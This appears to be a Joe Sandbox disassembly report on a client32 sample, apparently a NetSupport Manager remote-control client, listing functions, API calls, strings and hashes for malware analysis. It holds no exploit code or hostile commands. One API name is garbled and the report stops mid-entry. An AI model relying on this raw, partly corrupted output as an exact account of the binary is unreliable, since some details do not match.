API ID: CreateDescriptorErrorLastLocalNamedPipeSecurity$AllocDaclExitFreeInitializeMessageProcessSleepwsprintf
String ID: CreateNamedPipe %s failed, error %d$e:\nsmsrc\nsm\1210\1210f\client32\platnt.cpp$pSD
API String ID: 3134831419-838605531
Opcode ID: 6fb66e34af5f69f470863fb769d28e04784f24a47ad29a0bb3f1c0886bbebacf
Instruction ID: e749730b24da6d9d65aa5dc542e4a1298255c3932a1a24cca1bc6d9c8703c538
Opcode Fuzzy Hash: 6fb66e34af5f69f470863fb769d28e04784f24a47ad29a0bb3f1c0886bbebacf
Instruction Fuzzy Hash: 0821DD75E54229BBE7119B64CC8AFAFB76CE744719F014210FE25672C0C7B05A018790

Function 11115750 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 109fileCOMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,00000000,00000000,11025FDE), ref: 1111578B
GetShortPathNameA.KERNEL32(?,?,00000104), ref: 111157A0

Part of subcall function 11081B40: _strrchr.LIBCMT ref: 11081B4E

CreateFileA.KERNEL32(?,00000000,00000000,00000000,00000000,04000000,00000000), ref: 111157F9
CreateFileA.KERNEL32(?,00000000,00000000,00000000,00000000,04000000,00000000), ref: 1111583D
DeviceIoControl.KERNEL32(00000000,00000100,00000000,00000000,?,00000004,?,00000000), ref: 1111586C
CloseHandle.KERNEL32(00000000), ref: 11115896

Strings

\\.\, xrefs: 11115763
pcdvxd.386, xrefs: 11115802
nsmvxd.386, xrefs: 111157C1

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: File$CreateName$CloseControlDeviceHandleModulePathShort_strrchr
String ID: \\.\$nsmvxd.386$pcdvxd.386
API String ID: 1856440361-3179819359
Opcode ID: c23de974ba00f03547b25e2f40332119e28910f2fea34cb9d27f0557c0e7f6c0
Instruction ID: 2a95a0e342f63f1705806fe8621d4f60ab1de585f301dcf54d2bbd4509b04617
Opcode Fuzzy Hash: c23de974ba00f03547b25e2f40332119e28910f2fea34cb9d27f0557c0e7f6c0
Instruction Fuzzy Hash: 3541C331A44318ABE724DF64DC91FDAF7B5AB48708F0081A9E269DB2C4D7B16944CB94

Function 1101F6B0 Relevance: 15.1, APIs: 10, Instructions: 54clipboardmemorywindowCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32(?), ref: 1101F6D7
GlobalAlloc.KERNEL32(00002002,00000002), ref: 1101F6E7
GlobalLock.KERNEL32(00000000), ref: 1101F6F0
_memmove.LIBCMT ref: 1101F6F9
GlobalUnlock.KERNEL32(00000000), ref: 1101F702
EmptyClipboard.USER32 ref: 1101F708
SetClipboardData.USER32(00000001,00000000), ref: 1101F711
GlobalFree.KERNEL32(00000000), ref: 1101F71C
MessageBeep.USER32(00000030), ref: 1101F724
CloseClipboard.USER32 ref: 1101F72A

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ClipboardGlobal$AllocBeepCloseDataEmptyFreeLockMessageOpenUnlock_memmove
String ID:
API String ID: 3255624709-0
Opcode ID: fb15205abc29bec5019ffcbc0ab34e754b0c0ba96522bb8b908837259c46bf13
Instruction ID: 34c6a6685e13fb0ccb6c07c6f506601fca20899cc20b0e7c19a582f503bea576
Opcode Fuzzy Hash: fb15205abc29bec5019ffcbc0ab34e754b0c0ba96522bb8b908837259c46bf13
Instruction Fuzzy Hash: 9301D83A9155266BE3066B708CCCEABBAECFF9535D7051078F425C6108EB64C9058762

Function 11033010 Relevance: 14.3, APIs: 3, Strings: 5, Instructions: 312COMMON

Download Yara Rule

Strings

Client, xrefs: 1103309E, 110331AB, 1103333A
openclip Error: Cant open clip, xrefs: 110332E2
Sendclip Error: Cant open clip, xrefs: 1103316D
CheckClip Error: Can't open clip, e=%d, xrefs: 110330F0
DisableClipBoard, xrefs: 11033099, 110331A6, 11033335

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID:
String ID: CheckClip Error: Can't open clip, e=%d$Client$DisableClipBoard$Sendclip Error: Cant open clip$openclip Error: Cant open clip
API String ID: 0-293745777
Opcode ID: 5f040545b05273c81cb9d4a4bd22d43a279a27486dfb0bd605f0804696ac8a8f
Instruction ID: daee403c678e01c213c7a1d72acf829bd0b7d6ab4ed81c5860d9e9f482a37d6e
Opcode Fuzzy Hash: 5f040545b05273c81cb9d4a4bd22d43a279a27486dfb0bd605f0804696ac8a8f
Instruction Fuzzy Hash: 7AA1F535B102069FD710DFA5DC91FAAF3A4EFD834AF10459DEA4A9B380DA31B940CB91

Function 11093080 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 67COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(11147750), ref: 11093089

Part of subcall function 1110F420: _malloc.LIBCMT ref: 1110F439
Part of subcall function 1110F420: wsprintfA.USER32 ref: 1110F454
Part of subcall function 1110F420: _memset.LIBCMT ref: 1110F477

OpenEventA.KERNEL32(001F0003,00000000,NSMFindClassEvent), ref: 110930B9
FindWindowA.USER32(NSMClassList,00000000), ref: 110930CA
SetForegroundWindow.USER32(00000000), ref: 110930D1

Part of subcall function 110914F0: GlobalAddAtomA.KERNEL32(NSMClassList), ref: 11091552

Part of subcall function 11092FF0: GetClassInfoA.USER32(110930EC,NSMClassList,?), ref: 11093004

Part of subcall function 11091620: CreateWindowExA.USER32(00000000,NSMClassList,00000000,00000000), ref: 1109166D
Part of subcall function 11091620: UpdateWindow.USER32(?), ref: 110916BF

CreateEventA.KERNEL32(00000000,00000000,00000001,NSMFindClassEvent,?,00000000,?,00000000), ref: 11093111

Part of subcall function 110916D0: GetMessageA.USER32(?,00000000,00000000,00000000), ref: 110916EA
Part of subcall function 110916D0: TranslateAcceleratorA.USER32(?,?,?,?,?,?,11093120,?,00000000,?,00000000), ref: 11091717
Part of subcall function 110916D0: TranslateMessage.USER32(?), ref: 11091721
Part of subcall function 110916D0: DispatchMessageA.USER32(?), ref: 1109172B
Part of subcall function 110916D0: GetMessageA.USER32(?,00000000,00000000,00000000), ref: 1109173B

CloseHandle.KERNEL32(00000000,?,00000000,?,00000000), ref: 11093135

Part of subcall function 11091590: GlobalDeleteAtom.KERNEL32(00000000), ref: 110915CE

Strings

NSMFindClassEvent, xrefs: 110930AD, 11093106
NSMClassList, xrefs: 110930C5

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: MessageWindow$AtomCreateEventGlobalTranslate$AcceleratorClassCloseDeleteDispatchExceptionFilterFindForegroundHandleInfoOpenUnhandledUpdate_malloc_memsetwsprintf
String ID: NSMClassList$NSMFindClassEvent
API String ID: 1622498684-2883797795
Opcode ID: a756580c972c2b1c89b543717e50c84920c15868da069fb40308e575ba74b854
Instruction ID: dc520b378aeee27ae2973ce0394f0415fb857a8947d0a09b3e9437a491b5cd63
Opcode Fuzzy Hash: a756580c972c2b1c89b543717e50c84920c15868da069fb40308e575ba74b854
Instruction Fuzzy Hash: 7111E976F4821D77EB00A6B51C69F6FBADC5B847A8F001024F92DD62C4EF14E401A7A6

Function 1115B1D0 Relevance: 13.6, APIs: 9, Instructions: 125windowCOMMON

Download Yara Rule

APIs

Part of subcall function 11142DD0: _memset.LIBCMT ref: 11142DF9
Part of subcall function 11142DD0: GetVersionExA.KERNEL32(?), ref: 11142E12

_memset.LIBCMT ref: 1115B266
SendMessageA.USER32(?,000005FF,00000000,00000000), ref: 1115B29C
ShowWindow.USER32(?,00000006,?,?,?,?,?), ref: 1115B2AC
GetDesktopWindow.USER32 ref: 1115B309
TileWindows.USER32(00000000,?,?,?,?), ref: 1115B310

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Window_memset$DesktopMessageSendShowTileVersionWindows
String ID:
API String ID: 2935161463-0
Opcode ID: d66091308fdfd0a49dadcbc9bdab6e46a9e7118830d76630c2efa76ef6861ce1
Instruction ID: b14402a4e76bbdd80eea2f1b3df88d79255beb3666519cd349b4ccd6d2fbdf9c
Opcode Fuzzy Hash: d66091308fdfd0a49dadcbc9bdab6e46a9e7118830d76630c2efa76ef6861ce1
Instruction Fuzzy Hash: 39410271A00205ABEB809F64CDC5B6EF7B9FF46354F104065E925EB280DB70E940CFA9

Function 11147750 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 74keyboardCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 1114776D
wsprintfA.USER32 ref: 1114778B
OutputDebugStringA.KERNEL32(?), ref: 111477A1

Part of subcall function 11143DE0: GetTickCount.KERNEL32 ref: 11143E48

Part of subcall function 11147400: GetCurrentThreadId.KERNEL32 ref: 11147413
Part of subcall function 11147400: wsprintfA.USER32 ref: 11147493
Part of subcall function 11147400: IsBadReadPtr.KERNEL32(?,00000001), ref: 111474B8
Part of subcall function 11147400: wsprintfA.USER32 ref: 111474D8
Part of subcall function 11147400: wsprintfA.USER32 ref: 111474F5

OutputDebugStringA.KERNEL32(?), ref: 111477E6
SetLastError.KERNEL32(00000000), ref: 111477E9

Part of subcall function 110B7A70: GetLastError.KERNEL32(1110F4CB,11194AB8,?,?,11029561,?,11194AB8,1110F4CB,00000000), ref: 110B7A9C
Part of subcall function 110B7A70: _strrchr.LIBCMT ref: 110B7AAB
Part of subcall function 110B7A70: _strrchr.LIBCMT ref: 110B7ACD
Part of subcall function 110B7A70: GetTickCount.KERNEL32 ref: 110B7AFD
Part of subcall function 110B7A70: GetTickCount.KERNEL32 ref: 110B7B28
Part of subcall function 110B7A70: GetMessageA.USER32(?,00000000,00000000,00000000), ref: 110B7B4C
Part of subcall function 110B7A70: TranslateMessage.USER32(?), ref: 110B7B55
Part of subcall function 110B7A70: DispatchMessageA.USER32(?), ref: 110B7B5E

GetKeyState.USER32(00000011), ref: 11147809

Strings

Exception caught at %x. Trying minidump., xrefs: 11147785

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: wsprintf$CountErrorLastMessageTick$DebugOutputString_strrchr$CurrentDispatchReadStateThreadTranslate
String ID: Exception caught at %x. Trying minidump.
API String ID: 490122820-543155386
Opcode ID: 2fc6aae1165e1eadac81f9b3d3da5e414a6db5acb2d45d699591467b478390dd
Instruction ID: eed67cde3fb75ca7c288633e1f9c4b1d03945ae1a33bfc43050b2d2fe3e6b1e4
Opcode Fuzzy Hash: 2fc6aae1165e1eadac81f9b3d3da5e414a6db5acb2d45d699591467b478390dd
Instruction Fuzzy Hash: 4C21D675D04218ABD715DB64DCC5FE9F7B8AB5C709F0044A4E61597280EBB06E84CBA0

Function 11089150 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

FindResourceA.KERNEL32(00000000,00001770,0000000A), ref: 1108918F
LoadResource.KERNEL32(00000000,00000000,?,00000000,?,110CEF56,?), ref: 110891A4
LockResource.KERNEL32(00000000,?,00000000,?,110CEF56,?), ref: 110891D6

Strings

..\ctl32\Errorhan.cpp, xrefs: 110891B8, 110891E7
hMap, xrefs: 110891BD

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Resource$FindLoadLock
String ID: ..\ctl32\Errorhan.cpp$hMap
API String ID: 2752051264-327499879
Opcode ID: 822e2482afd153fa47cf4ddbc35e772a2b3a06937125cb698dae634270013ce3
Instruction ID: ac104577f0cb8d44e6482e86c7e4f76e51294e6aac98140987b3b76ba3c25106
Opcode Fuzzy Hash: 822e2482afd153fa47cf4ddbc35e772a2b3a06937125cb698dae634270013ce3
Instruction Fuzzy Hash: 08110D3AF4C22556DB12EBE9AC45B69B7E89BC07A8B410475FC6CD71C4FA61D440C3E1

Function 11063160 Relevance: 149.1, APIs: 42, Strings: 43, Instructions: 353libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(11074E10,ctl_version), ref: 11063177
GetProcAddress.KERNEL32(11074E10,ctl_installed), ref: 1106319C
GetProcAddress.KERNEL32(11074E10,ctl_netname), ref: 110631C2
GetProcAddress.KERNEL32(11074E10,ctl_remotename), ref: 110631E8
GetProcAddress.KERNEL32(11074E10,ctl_bridgename), ref: 1106320E
GetProcAddress.KERNEL32(11074E10,ctl_networks), ref: 11063234
GetProcAddress.KERNEL32(11074E10,ctl_pingnet), ref: 1106325A
GetProcAddress.KERNEL32(11074E10,ctl_open), ref: 11063280
GetProcAddress.KERNEL32(11074E10,ctl_close), ref: 110632A6
GetProcAddress.KERNEL32(11074E10,ctl_getsession), ref: 110632F2
GetProcAddress.KERNEL32(11074E10,ctl_call), ref: 11063318
GetProcAddress.KERNEL32(11074E10,ctl_hangup), ref: 1106333E
GetProcAddress.KERNEL32(11074E10,ctl_nsessions), ref: 11063364
GetProcAddress.KERNEL32(11074E10,ctl_connected), ref: 1106338A
GetProcAddress.KERNEL32(11074E10,ctl_send), ref: 110633B0
GetProcAddress.KERNEL32(11074E10,ctl_sendex), ref: 110633D6
GetProcAddress.KERNEL32(11074E10,ctl_sendif), ref: 110633EB
GetProcAddress.KERNEL32(11074E10,ctl_sendto), ref: 11063411
GetProcAddress.KERNEL32(11074E10,ctl_subset), ref: 1106341C
GetProcAddress.KERNEL32(11074E10,ctl_helpreq), ref: 11063468
GetProcAddress.KERNEL32(11074E10,ctl_maxpacket), ref: 1106348E
GetProcAddress.KERNEL32(11074E10,ctl_openremote), ref: 110634B4
GetProcAddress.KERNEL32(11074E10,ctl_closeremote), ref: 110634DA
GetProcAddress.KERNEL32(11074E10,ctl_callremote), ref: 11063500
GetProcAddress.KERNEL32(11074E10,ctl_pause), ref: 11063442

Part of subcall function 11029450: _strrchr.LIBCMT ref: 11029545
Part of subcall function 11029450: ExitProcess.KERNEL32 ref: 11029584

GetProcAddress.KERNEL32(11074E10,ctl_findslaves), ref: 110632CC

Part of subcall function 11029450: GetLastError.KERNEL32(?,00000000,?), ref: 1102946C
Part of subcall function 11029450: wsprintfA.USER32 ref: 110294B7
Part of subcall function 11029450: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 110294F3
Part of subcall function 11029450: ExitProcess.KERNEL32 ref: 11029509

GetProcAddress.KERNEL32(11074E10,ctl_myaddr), ref: 11063526
GetProcAddress.KERNEL32(11074E10,ctl_loadbridge), ref: 11063531
GetProcAddress.KERNEL32(11074E10,ctl_getfailedreason), ref: 1106353C
GetProcAddress.KERNEL32(11074E10,ctl_escape), ref: 11063547
GetProcAddress.KERNEL32(11074E10,ctl_publishservice), ref: 11063552
GetProcAddress.KERNEL32(11074E10,ctl_publishserviceex), ref: 1106355D
GetProcAddress.KERNEL32(11074E10,ctl_findslavesex), ref: 1106356B
GetProcAddress.KERNEL32(11074E10,ctl_broadcastdata), ref: 11063576
GetProcAddress.KERNEL32(11074E10,ctl_sendname), ref: 11063584
GetProcAddress.KERNEL32(11074E10,ctl_getlouserpaddressinuse), ref: 11063592
GetProcAddress.KERNEL32(11074E10,ctl_clientpinrequest), ref: 110635A0
GetProcAddress.KERNEL32(11074E10,ctl_controlsendpin), ref: 110635AE
GetProcAddress.KERNEL32(11074E10,ctl_controlpinrequest), ref: 110635BC
GetProcAddress.KERNEL32(11074E10,ctl_clearpin), ref: 110635CA
GetProcAddress.KERNEL32(11074E10,ctl_getcodepage), ref: 110635D8
GetProcAddress.KERNEL32(11074E10,ctl_getconnectivityinfo), ref: 110635E6

Strings

ctl_controlpinrequest, xrefs: 110635B0
ctl_connected, xrefs: 11063384, 1106339D
ctl_publishserviceex, xrefs: 11063554
ctl_myaddr, xrefs: 11063520
ctl_pingnet, xrefs: 11063254, 1106326D
ctl_closeremote, xrefs: 110634D4, 110634ED
ctl_controlsendpin, xrefs: 110635A2
ctl_findslavesex, xrefs: 1106355F
ctl_broadcastdata, xrefs: 1106356D
ctl_findslaves, xrefs: 110632C6, 110632DF
ctl_getsession, xrefs: 110632EC, 11063305
ctl_call, xrefs: 11063312, 1106332B
ctl_escape, xrefs: 1106353E
ctl_getfailedreason, xrefs: 11063533
ctl_getlocalipaddressinuse, xrefs: 11063586
ctl_subset, xrefs: 11063413, 1106342F
ctl_nsessions, xrefs: 1106335E, 11063377
ctl_openremote, xrefs: 110634AE, 110634C7
ctl_pause, xrefs: 1106343C, 11063455
ctl_publishservice, xrefs: 11063549
ctl_remotename, xrefs: 110631E2, 110631FB
ctl_sendto, xrefs: 1106340B
ctl_installed, xrefs: 11063196, 110631AF
ctl_netname, xrefs: 110631BC, 110631D5
ctl_version, xrefs: 1106316F, 11063189
ctl_getcodepage, xrefs: 110635CC
ctl_sendname, xrefs: 11063578
ctl_getconnectivityinfo, xrefs: 110635DA
ctl_open, xrefs: 1106327A, 11063293
ctl_close, xrefs: 110632A0, 110632B9
ctl_networks, xrefs: 1106322E, 11063247
ctl_clearpin, xrefs: 110635BE
ctl_sendex, xrefs: 110633D0
ctl_maxpacket, xrefs: 11063488, 110634A1
ctl_hangup, xrefs: 11063338, 11063351
ctl_bridgename, xrefs: 11063208, 11063221
ctl_helpreq, xrefs: 11063462, 1106347B
ctl_sendif, xrefs: 110633E5, 110633FE
ctl_loadbridge, xrefs: 11063528
ctl_callremote, xrefs: 110634FA, 11063513
..\ctl32\Connect.cpp, xrefs: 11063184, 110631AA, 110631D0, 110631F6, 1106321C, 11063242, 11063268, 1106328E, 110632B4, 110632DA, 11063300, 11063326, 1106334C, 11063372, 11063398, 110633BE, 110633F9, 1106342A, 11063450, 11063476, 1106349C, 110634C2, 110634E8, 1106350E
ctl_clientpinrequest, xrefs: 11063594
ctl_send, xrefs: 110633AA, 110633C3

Memory Dump Source

Source File: 00000015.00000002.2419532010.0000000011001000.00000020.00000001.01000000.0000000F.sdmp, Offset: 11000000, based on PE: true

Associated: 00000015.00000002.2419489572.0000000011000000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2422619093.0000000011193000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423288156.00000000111E1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423456809.00000000111F0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000111F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001120A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001125C000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.0000000011287000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001129D000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112AC000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112B3000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.00000000112DE000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000015.00000002.2423537548.000000001132A000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: AddressProc$ExitProcess$ErrorLastMessage_strrchrwsprintf
